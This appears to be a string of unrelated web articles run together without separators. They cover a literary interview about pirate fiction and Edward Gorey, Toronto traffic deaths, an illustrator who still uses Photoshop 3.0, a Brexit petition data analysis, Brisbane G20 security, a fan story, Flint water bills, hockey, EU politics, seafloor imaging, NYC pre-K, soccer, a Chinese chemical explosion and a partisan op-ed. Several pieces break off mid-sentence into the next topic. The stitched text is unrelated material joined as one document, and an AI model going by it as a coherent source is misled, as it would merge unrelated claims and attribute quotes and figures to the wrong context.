MD: I take it you didn't stumble on the literature of pirate utopias when researching the book? Peter Lamborn Wilson in Pirate Utopias: Moorish Corsairs & European Renegadoes and William S. Burroughs in his novel Cities of the Red Night use Libertatia, a pirate colony that may or may not have existed in Madagascar in the late 17th century and may or may not have been run according to anarchist principles, as an example of a pirate utopia. (It's mentioned in Johnson's General History of the Pyrates.) Or maybe you did, but opted for a more Lord of the Flies vision of the pirate's life?
Also, I'm wondering if your dim view of the countercultural fantasy of striking off society's shackles--"to live outside the law, you must be honest," etc.--is a product of growing up in California, where the road to utopia has often ended in places like Spahn Ranch and Jonestown.
DH: Burroughs led me to Libertatia, although I don’t know if you can label a likely-fictional anarchist colony that dissolved into bloodshed a successful enterprise. Utopian narratives are generally doomed, although the Californian version—the Didion version, if you will—probably casts a little shadow on We Are Pirates. It was interesting to me, as I started work on this book, that the history of utopias is more catastrophic than the history of civilization. It’s a little like winning the Lottery; it wrecks people, but everyone still wants to do it.
MD: What role did Disneyland's Pirates of the Caribbean play in your imaginative life, as a kid? (I'm guessing The Haunted Mansion was more your style.)
DH: I didn’t have much Disney in childhood. My parents took me to Disneyland once or twice—we had cousins in L.A.—but it wasn’t until high school that a reading of A High Wind in Jamaica put piracy in my brain.
MD: Edward Gorey is one of your acknowledged influences, as we've discussed at some length on another occasion. Can you put your finger on just what it is about Gorey's work—his style, his sensibility, his philosophy of life—that makes his work reverberate in your mind?
DH: The deadpan tone of being aghast, the elliptical presentation of a world familiar and strange, the dark but fluttery considerations of catastrophe and strife, the departure from “realism” in order to make more sense. Mystery and language, genre and art, theatricality and philosophy. Even his treatment of masculinity, such as it is, has been of interest. To look askance at the world by being honest about its sinister forces. What else should literature do, really?
§TORONTO – Toronto police are warning drivers and pedestrians to stay alert, as the number of traffic fatalities in the city reaches a three-year high.
Const. Clint Stibbe, with Traffic Services, told 680News 46 people were killed in traffic-related crashes in Toronto so far this year — 28 of them being pedestrians.
In 2012, there were 44 traffic fatalities in the city, with 33 at this time last year.
The traffic fatalities include people in vehicles, motorcycles, cyclists, and pedestrians.
Const. Stibbe said pedestrians have to consider their own safety, and drivers have to take a second or even a third look.
“Drivers with motor vehicles … they’re distracted either by the signage, things that are happening in car, perhaps texting, whatever the case may be,” Const. Stibbe said.
“They’re not focusing on the environment that they’re in, and as a result, they are maybe focusing on the incoming traffic, but they’re not looking to the right to check for those pedestrians that may be standing at the corner.”
In terms of the 28 pedestrian deaths, Const. Stibbe said that number will rise.
“We on average have approximately 10 fatalities between now and the end of the year,” he said.
At this time last year, there were 18 pedestrian fatalities.
Const. Stibbe said generally the blame is evenly split between the pedestrian and the driver.
“Primarily, our collisions mainly occur intersection-related, where a pedestrian has the right of way — whether it’s on a left or right-hand turn. Those are probably the most common. The second most common is the mid-block crossing,” he said.
Const. Stibbe said the bottom line is that everyone needs to pay more attention — whether behind the wheel, on foot, or on a bicycle.Chances are you’ve seen Bob Staake’s work at some point. Besides contributing to more than 40 books as author, artist, or both, Staake’s also done illustrations for clients as diverse as The New York Times and Anheuser Busch. His work has graced everything from advertisements and games to Hallmark greeting cards and the cover of The New Yorker.
And he’s done it all with a piece of software that’s almost 15 years old.
In September 1994, when Photoshop 3.0 was released, the world was a very different place. The World Series had been cancelled due to a labor dispute; George W. Bush had just been elected Governor of Texas; and Netscape Navigator, one of the first graphical web browsers, wasn’t due to be released for another three months. And the idea of digital art was still in its infancy.
"In 1995, I was interviewing other illustrators for a book called The Complete Book of Humorous Art," says Staake. "I was amazed at how many of them claimed they were working 'digitally'—but in actuality most had only dabbled in computers." Not long after, Staake was looking for something that would let him scan in his pen and ink drawings and color them in on the computer. An art director friend who owned a Power Macintosh 7100, one of the first PowerPC-based Macs, told him that Adobe Photoshop was just what he was looking for. “Sounded good to me,” says Staake, who ended up purchasing a 7100 as well, “so I have been working in Adobe Photoshop 3.0 ever since.”
The idea of using such outdated software is foreign to many technophiles who, in this era of instant gratification when songs, movies, and software udpates are never more than a click away, rarely seem to use programs that are older than a couple of months. So when Staake posted a video of his process for creating the cover of The New Yorker’s recent politics issue, the news that he was using software over a decade old spread faster than celebrity gossip.
“It was stunning and hilarious to see how those people reacted to it,” says Staake. “There was absolutely no regard, discussion or appreciation for the art that was being created or how the mind must be wired to even create imagery in such a weird way.”
To Staake, the comments—some of which he calls “nasty”—illustrate a fundamental divide between those who just talk about the process of creating and those who actually do the creating. “Other artists and illustrators see me creating my art in Photoshop 3.0 with all these arcs of color that somehow evolve into characters and scenes and they’re sort of stupefied. They claim their minds just don’t think like that, but [they] are nonetheless impressed with what I create.”
Of course, Staake has upgraded some of his equipment over the years, despite his use of Photoshop 3.0 and older versions of Adobe PageMill and FileMaker Pro. “Believe me, I am anything but a technophobe,” he said. “I rarely ever upgrade because I’m usually inundated with work and simply don’t have the time to learn new versions. For me, it is simply a matter of pragmatism.” The 7100 has now been replaced as his workhorse by a PowerMac G5 running Mac OS X 10.4.11, necessitating that he run his beloved Photoshop 3.0 in Mac OS 9.2.1 via the Classic emulation environment (and not, as several blog posts about his New Yorker cover erroneously stated, in System 7).
It's not as if Staake hasn’t tried newer versions of Photoshop over the years; he has even reluctantly installed Adobe Creative Suite 2 on his G5, as preparation for the inevitable moment when he’s forced to make the transition to an Intel processor. But the way he talks about CS2 makes it clear that it’s more of an obstacle than an enabler when it comes to getting down to creative work. “When I open up Photoshop 3.0, it’s there and ready to go in four seconds flat, and when I have opened CS2 my fingernails will have grown a quarter inch before the app appears,” Staake says.
While Staake’s software has stayed the same over the years, that doesn’t mean that his craft hasn’t evolved: “In 1995 I was drawing my line art in pen, scanning the image, then coloring it in Photoshop 3.0. but around 1998 I stumbled on a way to change a brush in Photoshop from ‘normal’ to ‘dissolve’—and when I did, I was able to create this ‘spatter’ effect that looked as if it has been created by thumbing the inky bristles of a toothbrush.”
For Staake, that was the moment that things changed. That technique, which Staake says is the same used by poster artists of the mid 20th-century, was what got him into using the computer to create his art full time. “I was hooked,” he says. “All my work since then has been created by pulling, clicking and tugging on a mouse.”
Staake’s work nowadays, showcased in a number of videos on his site, is somewhat unusual: It involves creating complex illustrations out of ingenious combinations of basic shapes such as rectangles and ellipses, which are subsequently refined into the final illustrations. “I know it looks completely bizarre, but I can assure you I’m not possessed by the devil because friends have checked my bald spot and haven’t found ‘666’ burned into my scalp,” he quips.
Staake says that he never feels held back by working with an older piece of software, even in the face of advice from trusted quarters: “My son works at Apple and he is constantly telling me that if I worked in CS, I could do this with the type tool and that with the lasso. Who cares? When I have to create a certain effect in Photoshop 3.0, I figure out some weird way of doing it.” To Staake, there’s no such thing as a limitation in his tools; that’s just part of the creative process. “I write most of my children’s books in rhyme because it forces me to come at stories from odd points of view,” he says. “The same is true with working with creating digital art.”
After all, as Staake points out, hardware and software is just a tool to help people create. “If the art is created in Photoshop 3.0, Illustrator 485, CS3, crayon on bond paper or paint on canvas—[artists] don’t really care—the quality of the art is what matters to them,” he says.Share Pin +1 Share Shares 107
You heard that right! What do we want? Power. How do we get it? Dynamos! What we’ve got here is a public-rental bicycle concept that uses a pretty simple dynamo in the wheel combined with some circuitry in the bike that generates a generous amount of power that’s then saved on the bike until it’s parked. Once the bike is returned to its rental spot, parked, hooked up, it provides power to the nearby hybrid bus system!
These bikes are barked in their stalls, locked up right near the public bus station. This way not only is it easy to transfer power generated by the bikes to the busses, the bikes are easy to access by commuters.
The best part about this is the card. Your personal ID card allows you to possibly ride the bus for free. How? Generate enough energy! You gain credit on your card for the amount of energy you’ve generated on your bike ride. And you get exercise! No down side!
Bonus – there’s also an amazing lock system on the bike. Watch the video to hear the business from Chiyu Chen himself!
Designer: 陳祁侑 Chiyu ChenMaybe you, like me, woke up somewhat astonished to discover that the UK had gone and Brexited itself last Friday. Whilst the world is still trying to work out what that means, I’ve been particularly intrigued by a petition that has close to 4 million signatures on it, asking that the referendum be redone with better turn out guidelines. What’s intriguing is not so much that 77,000 signatures were removed from it, but rather that you can download all the petition information as a JSON file, and then analyse the data to see what the petition really means.
Why bother looking at the data? Well 15 million people voted in the UK to stay in the EU. In a way it’s not surprising that 4 million of them feel strongly enough to sign a petition. I’m interested in finding out where these signatures come from geographically, and how they compare to the referendum data. I’m looking at just English data, rather than the UK altogether, given that Scotland and Northern Ireland showed significant differences in how they voted compared to England.
A few technical notes. The English election data is based upon districts, whilst the petition data divides signatories by wards. Sometimes wards belong to multiple districts, and where this occurs each signature is divided between the multiple districts to which it belongs. I’m using the petition data from June 27 at 11PM roughly for this post.
Let’s begin by looking at the raw number of petition signatures by district in England. Plotted on a map, they look something like this:
There’s a lot of variety across the country in terms of absolute numbers of signatures, but who are the biggest voters, and who are the smallest? Here are the top 10 and bottom 10 voting districts.
Votes Constituency 1055 Isles of Scilly 1161 Boston 1673 Barrow-in-Furness 1766 Tamworth 1855 Bolsover 1903 Hartlepool 1936 Corby 2053 West Somerset 2130 Burnley 2170 Forest Heath.......... 37114 Barnet 37510 Southwark 37668 Manchester 37854 Brighton and Hove 38066 Hackney 44959 Lambeth 45092 Leeds 47349 Bristol, City of 48605 Wandsworth 52120 Birmingham
No surprises that the Isles of Scilly have such a small number, their electorate only contains 1,799 voters. Though if these petition numbers are to be believed, a lot of them must have signed (more indeed than first voted to remain, the vote to remain won in the Isles of Scilly 803 to 621). It’s also not surprising that the largest numbers of signatures come from major metropolitan regions.
But absolute numbers don’t reveal the whole picture. What I’ve been calling the Bregret Index, or Bregretfulness of a district is the amount of petition signatures as a function of the district’s population. I used the referendum data to find the size of each electorate and have plotted the Bregretfulness of each district, as a percentage of its size.
Interestingly, a lot of the vibrant yellow areas in the previous graph have faded. It’s now very clear that metropolitan areas are much more likely to sign the petition. This is echoed in the data of the 10 least and most bregretful districts. Maybe someone with more knowledge of England could interpret these a bit better than me. I’m intrigued nonetheless by the Isles of Scilly appearing again, though given its small population its not worth reading too much into this.
Bregret (%) District 2.7 Hartlepool 2.7 Ashfield 2.8 Redcar and Cleveland 2.9 Boston 3.0 Cannock Chase 3.0 Blackpool 3.0 North East Lincolnshire 3.0 Doncaster 3.1 Rotherham 3.1 Mansfield.......... 21.6 Hammersmith and Fulham 21.8 Richmond upon Thames 22.1 Wandsworth 22.9 Haringey 23.3 Hackney 24.6 Camden 25.1 Islington 29.5 Kensington and Chelsea 58.7 Isles of Scilly 212.9 City of London
Most interesting is the City of London, where these numbers suggest that over twice as many people signed the petition as there are electors. There are probably some fake clicks here, but more likely the City of London’s weird electoral rules have made the analysis fail here. Possibly both.
In this picture, there is some unhappiness, some Bregret in every district. Which is normal after a referendum. But what we want to see is whether the data suggests that people have had a change of heart, and would have voted differently. The real thing to find out here then is where have people signing the petition come from compared to where people voted in the referendum.
If the signatures represent evenly the English population who voted for remain, then they should act as a good predictor for the referendum results. I’ve measured a “Bregret Difference” as the difference between how well the signatures’ geographic dispersal predicts the referendum result. If the Bregret Difference is positive, then the district feels very Bregretful and the petition suggests it should have voted more to remain in the referendum, whilst if it’s negative, the district doesn’t feel very Bregretful, and is more content with the Brexit decision. Like this, it’s possible to see if the rural areas that carried the Brexit vote have had a change of heart. This measure is different from the percentage of people signing the petition in the precedent graph, it is a measure of how much sentiment could have changed within a district before and after the referendum.
Looking quickly, you can see that the petition signatures are coming disproportionately from metropolitan areas. This is not too surprising, young people are more likely to live in metropolitan areas, are probably more likely to sign a petition online, and they are less likely to have voted on referendum day. All of these skew the Bregret difference away from rural areas. In case you are wondering about how Bregretful your district is, here are the top and bottom ten most Bregretful districts:
Bregret (%) District -55.9 Hambleton -52.6 Redcar and Cleveland -52.2 Barrow-in-Furness -49.2 Ashfield -47.7 Tamworth -45.9 Cannock Chase -45.0 North Lincolnshire -44.9 Hartlepool -44.8 Nuneaton and Bedworth -44.4 Rotherham.......... 66.6 Wandsworth 74.2 Haringey 79.4 Hammersmith and Fulham 85.3 Hackney 91.1 Tower Hamlets 92.4 Islington 103.2 Camden 164.8 Kensington and Chelsea 433.6 Isles of Scilly 1462.7 City of London
The Bregret values are quite high at the bottom here. This is because predicted election score comes from the rough assumption that the petition signatures are evenly divided amongst the electorate that voted remain. This is likely not the case, for mostly demographic reasons. One could look at these inconsistencies and use them to attack the integrity of the petition, but that isn’t straightforward to do.
Rather what can be inferred here is that, from this petition, there hasn’t been a significant change in mindset concerning the British departure from the EU in the rural regions, at least not enough to encourage the population there to sign an online petition en masse. The analysis also isn’t sensitive to a uniform movement across the country of people changing from Leave to Remain (or vice versa). But after all this is an online petition, we aren’t expecting scientific accuracy, but it is fun to poke data. If I could conclude anything, the only real winners here have been portmanteaux.
A lot of credit needs to be given for helping me make this post:
The UK-GeoJSON project for the data files I used to make the maps
Matplotlib, IPython, Jupyter notebooks, I love you.
Shapely, for making plotting easy
Descartes, for making Shapely and GeoJSON work together
AdvertisementsBrisbane G20: Fencing goes up around Convention Centre, inner city 'declared area' comes into effect
Updated
The reality of what life will be like during the G20 has hit home as Brisbane's inner city woke up to find police with greater search powers and fences erected around G20 venues.
Special legislation came into effect today, turning parts of the city from Bowen Hills to Kangaroo Point and South Brisbane and Woolloongabba into official "declared areas".
Fencing around the Brisbane Convention and Exhibition Centre (BCEC), which became a "restricted area" at the beginning of the month, was also erected overnight.
Deputy Commissioner Ross Barnett said it was "incredibly normal".
"People will see from what's going on... this is how how we anticipate it will be for most of next week and leading up to and including next weekend," he said.
"People coming into this precinct as they do every other Saturday and Sunday and enjoying the many opportunities, cultural events that are available - we want that to continue through next week and next weekend.
"We want to encourage people to come into the city and make the most of this unique opportunity."
Declared areas are described in the G20 (Safety and Security) Act 2013 as "an invisible barrier around event and accommodation venues".
They are the areas directly outside deemed restricted areas, such as the BCEC, which have some sort of fencing or physical barrier.
Restricted areas are only accessible to people with a genuine reason to access the area and official accreditation from the G20 Taskforce.
Household items now prohibited without "lawful excuse"
While declared areas are accessible to the public, police have greater powers in those zones, including the power to search people if it is "reasonably suspected" that they are carrying prohibited items such as eggs and glass jars without a "lawful excuse".
Deputy Commissioner Barnett said a commonsense approach would be taken and there must be an identified safety risk for an arrest to be made.
"There's got to be a connection between the item and some intent to possibly disrupt the event or hurt some person," he said.
"The item of itself is not strictly the issue, it's the time, date and place that it's carried and the intent of the person who has it.
"They will use professional judgment and deal with each situation on its merits."
The legislation provides three types of searches, basic, frisk and specific, which, if necessary, involves the removal of clothing.
Other parts of Brisbane will be deemed declared zones this week.
All will stay in effect up to and including Monday November 17.
Topics: intergovernmental-organisations, world-politics, federal-government, government-and-politics, south-brisbane-4101, brisbane-4000
First postedRockstar Land is a location refrenced in the fnaf fangame the revenge at freddy's, created by bearbro123. This is what would happen if we suddently vanished.
1 DAY
The Robots stand tall on the stage, waiting for the lights to turn on. They never do. They never sense any problem. They continue performing, in the darkness, waiting.
1 YEAR
The fall of william
Springtrap, being the most decayed, began to slowly fall apart, after the man inside him, william, vanished. Nothing to help it, it naturally decayed, and crumbled into nothingness.
4 YEARS
The Fall of the stage players
The roof began to cave in, which led to water pouring down in the location, due to it being a rainy day. Freddy, bonnie, and chica began to twitch, and, due to them being robots, they began to short circut. It lasted a few days, but they slowly, agonizingly, all fell down.
50 YEARS
The Fall of Foxy
When the beams on the pirates cove began to collapse on the animatronic, it did not react. it had already been deactivated for years. If it had noticed, or been able to react, it would have shoved the beams aside. It would have walked out the doors. But it did'nt. It caved in with the beams.
100 YEARS
The Fall of Ennard
As the beams and chains soppouring it began to topple, it was slowly ripped in half. as it's wires broke and sputtered, it only uttered one thing. "So this is how it ends.. Heh." With that, it's wires were torn into pieces, as it fell to the ground.
10000 YEARS LATER
The Fall of Lefty
Lefty would have been destroyed years ago, but something was keeping it around. That something? The puppet. The child inside it, charlie, was keeping the suit from having any damage. It probably would have lasted forever, as it wandered the empty abyss. The only reason it did not was that, well, when the sun gives out, nothing stays. everything goes.The city of Flint, where the pipes have still not been fixed and the water crisis is ongoing, is threatening to place tax liens on people's homes for non-payment of water bills, according to a local news source.
NBC affiliate 25News reported Tuesday that more than 8,000 people have received notice from the city that they are "at risk of losing their homes to foreclosure if they don't pay up on their water bills" by May 19.
"We have to have revenue coming in, so we can't give people...water at the tap and not get revenue coming in to pay those bills," Al Mooney of the city's Treasury Department said to the outlet.
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Melissa Mays, a Flint mother and water activist, told the station of the notice: "I got scared, for probably the first time since this all started this actually scared me." Mays plans to "go against what she believes" and pay the $900 she owes in order to ensure she doesn't lose her home, 25News reports.
As Common Dreams reported in late April, three years after the crisis began, Flint still does not have clean water. Residents must purchase filters to reduce the lead in their water, and the city says it will be three more years before all of the city's lead pipes are replaced.
In March, the state of Michigan ended a program that reimbursed residents for most of their water costs in the wake of the lead crisis, and in April, the city began shutting off water service to residents with past due bills.Are the Carolina Hurricanes driving last year’s model? A few months ago the answer would have been, “not likely.” After a 2-5 preseason, the answer may very well be, “not again!” Sure it’s only the preseason, but for a team that is supposed to be turning around its culture, the regular season may get here all too soon. Yesterday’s 5-2 crushing by the Washington Capitals was not simply a case of a stronger team having its way, it was an all too familiar scenario being played out on the ice, with “lack of effort” taking center stage.
For the past several years, the Hurricanes have struggled to get beyond a certain point, to break back into the NHL playoffs. Arguably, it has not entirely been due to a lack of talent that they have been stymied in this effort. Eric Staal has been glossed a superstar by most in the hockey universe. Cam Ward won the Conn Smythe when the ‘Canes won the Stanley Cup in 2006. Jeff Skinner, drafted 1st by Carolina in 2010, has been a prolific scorer. The cast of characters is not lacking in genuine NHL potential. Yet the team has disappointed fans over the past 5 years, and not lived up to seemingly realistic expectations.
Why are the Hurricanes Driving Last Year’s Model?
The number one area of concern for this hockey club is undoubtedly attitude. It’s an intangible, for sure, but it manifests on the ice in a very tangible way. One of the common post-game laments last season was, “We were flat.” Really? And who is to blame for being flat? After a merry-go-round of coaching changes, the latest of which was Kirk Muller, the consensus was that it is the head coach who is to blame. The team leaders are accountable, too, but primarily the head coach has the responsibility for setting the tone and perpetuating a culture of effort.
Along comes Bill Peters. The new head coach with a pedigree of winning – albeit not yet at the NHL level, and with a list of impressive associations, not the least of which being Mike Babcock of the Detroit Red Wings.
Coach Peters identified the need early in his short tenure with the team, and has already talked several times of changing the “culture in the locker room.” In fact, after last night’s poor showing in the Nation’s Capital, Coach Peter’s stated the obvious, “We didn’t compete,” Peters said. “Any time you don’t compete, you don’t give yourself a chance.”
So why did the team not compete? And to whom should we look for the answer? This is a question that must be addressed before Friday’s season opener against the New York Islanders. Jiri Tlusty, who netted one of the ‘Canes 2 power play goals against the Capitals, said it best when asked what the team could take away from the game: “How not to play hockey,” he said. “We don’t want to play like that.”
Injuries a Part of Driving Last Year’s Model
Without a doubt, the Carolina Hurricanes have had their share of injuries to key players. Without question this has impaired their ability to put together a playoff-caliber season. Recovering from a knee injury at the start of last season, Eric Staal was clearly not right. He fought through but never seemed to get himself fully together throughout the season. Jeff Skinner at age 22 has already had a concussion and missed significant playing time. Yesterday afternoon, Matt Niskanen of the Capitals hit Skinner with an unnecessary, totally uncalled-for elbow to the head. Skinner went down and unsuccessfully tried to pick up his stick, eventually being led off the ice appearing noticeably wobbly. Niskanen was not penalized in the game which is outrageous. The league will hopefully review the hit and see that it was not part of a check or a clean scrum for the puck, but was a blatant forearm cocked and aimed for Skinner’s head.
https://www.youtube.com/watch?v=rbEGbSgwRtc
According to the team website, Skinner now has a concussion as a result. He will be monitored and protocols will be followed.
#Canes GM @RonFrancis10 on Skinner: "He will continue to be monitored by our team doctors & go through proper protocols in the coming days.” — Carolina Hurricanes (@NHLCanes) October 6, 2014
Other injuries have also been a factor for the Hurricanes. Alexander Semin is recovering from a hand injury. Will he be 100% in 4 days? Jordan Staal is out for 3-4 months with a broken fibula. Who will step in and step up to fill his skates? Patrick Dwyer has been out this preseason. Elias Lindholm left the game early yesterday. Was he hurt? Was the team just being precautionary?
Yes, the team has had to fight through injuries. But, professional sports is riddled with injuries. No team and no sport is exempt or immune. The Carolina Hurricanes need for their younger players to strap up and play like they want to be in the NHL. Yes there are more talented players all across the NHL, But that does not excuse a lack of effort or coming out flat.
Everyone is entitled to an off night. But winning is a habit, a culture. So is losing. Let’s hope that Coach Peters and the leaders on this team can find the ingredients necessary to develop a new model for the team, and not continue driving last year’s model. If they do, the team has a chance at making the playoffs. If they do not, well the PNC arena may look a lot like it did during the preseason all year – half-filled and very quiet.
*The team announced this morning that Zach Boychuk and Chad LaRose are being sent to the Charlotte Checkers. Boychuk had 36 goals last season for the AHL Checkers, but has just not seemed to be able to find his scoring groove at the next level. LaRose is only recently returned, and will likely spend some time in Charlotte getting his legs back, and being a very positive influence on that team’s younger players. I expect to see him in Raleigh before too long.The national interest. It's a phrase we've heard a lot recently. David Cameron promised to defend it before flying off last week to Brussels. Eurosceptic backbenchers urged him to fight for it. And when the summit turned into a trial separation, and the prime minister walked out at 4am, the rightwing newspapers took up the refrain: he was fighting for Britain. In the eye-burningly early hours of Friday morning, exhausted and at a loss to explain a row he plainly hadn't expected, Cameron tried again: "I had to pursue very doggedly what was in the British national interest."
As political justifications go, the national interest is an oddly ceremonial one. Like the dusty liqueur uncapped for a family gathering, MPs bring it out only for the big occasions. And when they do, what they mean is: forget all the usual fluff about ethics and ideas; this is important.
You heard the phrase last May, as the Lib Dems explained why they were forming a coalition with the Tories. More seriously, Blair used it as Britain invaded Iraq.
But here Cameron wasn't talking about foreign policy; nor about who governs the country. The national interest he saw as threatened by Europe is concentrated in a few expensive parts of London, in an industry that would surely come bottom in any occupational popularity contest (yes, lower even than journalists): investment banking.
In its haste to depict events as Little Britain v Big Europe, the Tory press hasn't dwelt on the inconvenient details of last week's fight. But it was only after the prime minister failed to secure protection for the City from new financial regulation mooted by the EU that he told Nicolas Sarkozy to get on his vélo.
On one issue in particular, Cameron had a good case: Britain wants banks to put more money aside for a rainy day than the EU
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at a rate of six images per second.
Imaging at this rate provides ~50% overlap to allow for construction of image mosaics of the seafloor. A track approximately 100 nautical miles in length and 259,200 m2 in area is imaged each 24 hour day while at sea. Over 30 million images (>30 TB) have been collected in less than one year of sea time, which demonstrates how quickly this quantity of data can accumulate.
Fauna, flora, benthic maps and more
For the past five years, study areas along the northeast continental shelf have been revisited seasonally, with measurements of all visible macrofauna, and characterization of benthic fauna and flora, oceanic properties (salinity, temperature, nutrients) and substrate type, providing the baseline of an exceptional and unique ecological time series.
Key to extracting useful ecological information from this ever expanding library of image data is development of tools for rapid and accurate segmentation and classification of benthic organisms and substrate, together with visualization of images and their metadata through a Geospatially-explicit, queryable database. As scientists and ecosystem managers, we need to be able to ask questions like "what is the current distribution and abundance of sea scallop and yellowtail flounder on Georges Bank, and how have they changed over the past few years?" And, "where is the invasive tunicate Didemnum vexillum currently co-located with gravel substratum and what is the potential for its' spread to new areas".
Enter Seafloor Explorer
The data now exist to answer such ecologically critical questions, but it is buried in hundreds of TBs of images that need to be processed through a defined and scalable pipeline of tools.
Seafloor Explorer is allowing us to capture data on the distributions of sea scallop and other commercially important species as well as defining the substrate and habitat in which they live. This information has never before been acquired on such an expansive (1000s of km) yet high resolution (1mm pixel resolution) scale. While manual classification currently pushes our knowledge and understanding of these distributions, the development of tools for automated segmentation and classification is lagging orders of magnitude behind the rate at which image data are currently being acquired and manually classified.
Using data from Seafloor Explorer we can now begin to build training sets of images and data that will provide the foundation for automated machine vision approaches to target classification from HabCam images. These tools must be developed if the untapped wealth of information available in optical imagery is to be fully realized in Ecosystem Approaches to Management and understanding Essential Fish Habitat.Some Head Start and children’s services centers have used city Department of Education money to create new seats for children whose parents’ incomes are too high to qualify for subsidized care. But because of complex reporting requirements, these centers tend to separate children according to their eligibility. At some schools, there is an “A.C.S. room” for the children of the working poor and a “U.P.K. room” for better off children who are not eligible for subsidized care.
A few child-care centers, despite the obstacles, successfully mix children of different economic classes. At the Park Slope North-Helen Owen Carey Child Development Center in Brooklyn, for example, children learn together in what are called “blended classrooms.” The Administration for Children’s Services has officially promoted this model of integration for a number of years, but few centers have managed to pull it off. In fact, the city Department of Education told Park Slope North that subsidized children had to be in separate pre-K classrooms in the 2014-15 school year. When staffers insisted on blended classrooms anyway, the center received less funding.
It doesn’t have to be this way.
First off, the city should enable blended funding, as it has promised to do this fall. But it should also help centers complete complex paperwork required to combine Children’s Services, Head Start and Department of Education funds.
The city should offer more pre-K classes in public schools in economically mixed neighborhoods. Roughly 40 percent of pre-K seats are in ordinary public schools, charter schools and new free-standing “pre-K centers” operated by the Department of Education. These are open to all, regardless of income. A few, like the new K280 center in the Windsor Terrace section of Brooklyn, welcome children from different neighborhoods. Providing or subsidizing transportation would encourage parents to try a school outside their neighborhood and would probably lead to better integration.
The rapid increase in pre-K enrollment is a huge achievement. But ensuring quality is just as important, and programs that are economically stratified are rarely of equal quality. Mr. de Blasio’s pre-K initiative holds the potential to break down the economic segregation that has long bedeviled public and private preschool, but this once-in-a-generation opportunity will be lost unless his administration takes aggressive steps to create more economically diverse classrooms.Kaká will not be ready to play in time for Orlando City’s 7 p.m. home match Friday against the Chicago Fire, but Orlando City coach Adrian Heath said he expects new addition Antonio Nocerino, who flew in from Italy last week, to be fit and available for the game.
“Kaká is working in the gym this morning,” Heath said during training Tuesday. “We think that he feels a lot better. I think Friday would be a bit too early for him, keep our fingers crossed for New York.”
The team captain suffered a thigh strain days before Sunday’s season opener. The Lions travel to NYCFC on March 18.
Midfielder Carlos Rivas, who did not play in the opener after rolling his ankle last week, was training and should be healthy Friday, barring any setbacks in the next few days.
Having Rivas and Nocerino for the game makes the loss of Kaká and Darwin Cerén, who was ejected from the opener with a red card, easier to stomach. Midfielder Cristian Higuita also will return, having served his one-game suspension for a red card in the final match last season.
Heath said Nocerino already is working well in the system.
“His finishing is certainly good,” Heath said. “I didn’t think we got him for his finishing, but obviously some great finishing this morning. He’s a great personality. The one thing that’s come through, he’s only been here a couple of days and he’s already a really integral part of the group. He, shall we say, enjoys life.”Image copyright AP Image caption The fire at the chemical plant burned for several hours before being put out early on Sunday
One person has been killed and nine injured after an explosion at a chemical plant in China's eastern Shandong province, state media report.
Xinhua news agency said a warehouse in Zibo city exploded, triggering a fire. Huge flames were visible.
The site is just 1km from a residential area. No contamination had been detected, the agency said.
Earlier this month, blasts involving chemicals killed at least 121 people in the city of Tianjin, further north.
Hundreds were injured and 54 are still missing.
The proximity of industrial and chemical plants to residential areas has become hugely controversial.
Widespread public anger over the deadly explosions in Tianjin has led to promises to improve China's patchy commitment to industrial safety, says the BBC's Celia Hatton in Beijing.
Last week, an inspection of places storing hazardous chemicals in Beijing unearthed safety issues at 85 out of 124 sites, resulting in two emergency factory closures.
Poisonous gases
The explosion at the Runxing chemical factory occurred just before 21:00 local (12:00 GMT) on Saturday, triggering a fire.
Windows shattered at the scene of the blast and vibrations could be felt 2km from the site.
About 150 firefighters and 20 fire engines fought the blaze, Xinhua said.
The state-run Beijing Times said the Runxing plant contained adiponitrile - a colourless liquid that releases poisonous gases when burned.
Howard Zhang of BBC Chinese says that the blasts at Shandong and Tianjin have taken on a political significance and threaten to overshadow China's celebrations of the 70th anniversary of its victory over Japan in World War Two.
The operators of the Tianjin site are being investigated for allowing dangerous chemicals to be stored too close to homes.
Image copyright Reuters Image caption Tianjin raised concerns about chemical storage regulations
How safe is Tianjin after blasts?
The questions after Tianjin
The blasts there raised fears of contamination by toxic substances.
Officially the minimum distance between businesses with dangerous chemicals and public buildings and transport networks is meant to be 1km.
But data from the Tianjin incident showed there were at least three major residential communities inside that distance from the warehouse.It’s time to stop the conservative's war on working people in America.
Since the birth of our nation, conservatives have always been wary of average working-class Americans having too much political or economic power. John Adams, the second President of the United States and a Federalist (precursor to today’s Republicans), was very wary of the working class, which he referred to as “the rabble.”
Adams believed that if a country or society wanted to be stable, then it must have a governing elite that must be separate in both power and privilege from “the rabble.” Many Federalists of the era didn’t even want working class non-landowners to be able to vote.
In the era from the 1940’s through the 70’s, “the rabble” gained a lot of power in America, both economically and politically. They formed unions and led protests, and made life absolutely miserable for Conservatives.
This strong working class and its support for Democrats like FDR led to Ronald Reagan leading the charge in the 1980’s to take the working class down a notch. Now, that 34-year-old conservative campaign to destroy the American working class, and strip it of its wealth and power is bearing fruit – and claiming lives.
Last week, police in Elizabeth, New Jersey found 32-year-old Maria Fernandes dead in her car, which was parked in a convenience-store parking lot. Friends of Fernandes told police that she worked as many as four jobs, and often tried to catch some sleep between jobs, by pulling over in parking lots.
According to investigators, Fernandes’ death may have been caused by inhalation of gasoline fumes, from a gas can that had spilled in the back seat of her car. Fernandes’ friends said that she kept a gas can in her car because she had, in the past, run out of gas while driving between jobs.
Fernandes’ tragic and untimely death is a stark reminder of the challenges and struggles that low-wage working-class Americans face every day. But working-class Americans like Maria Fernandes wouldn’t have to face those struggles, and wouldn't have to live off of such low wages, if it weren’t for the 34-year conservative war on working people.
A new study from the Economic Policy Institute has found that, “if inequality had not risen between 1979 and 2007, middle-class incomes would have been nearly $18,000 higher in 2007.” But, thanks to Reagan and the war on the working class, all of America’s income growth over the past 34 years has gone to the wealthy elite, while everyone else has been left to struggle.
As the EPI study points out, average household incomes grew by 53.4% between 1979 and 2007 BUT those gains were far from equal. For example, the bottom fifth of American households saw incomes rise by just over 29% between 1979 and 2007, while incomes for the top 1 percent of households rose by a staggering 244.7%.
Similarly, as Anna Bernasek points out over at The New York Times, back in 2003 the inflation-adjusted net worth for the average American household was just under $88,000. By 2013, that wealth had fallen to just over $56,000.
For the past 34 years, America’s wealth has been siphoned away from the working class, and pumped up to those at the very top. As a result, we’re seeing more and more people like Maria Fernandes, who have to work multiple jobs just to survive.
It’s time for this insanity to stop. America is the richest country on the planet, and there’s absolutely no reason that working people should be living in poverty. The working class has been and always will be the backbone of the American economy, and conservatives in Washington need to accept that fact.
It’s time to end the 34-year-old war on working people in America, and give all Americans an equal shot at success.Cameo ZL1 10-Speed Transmission
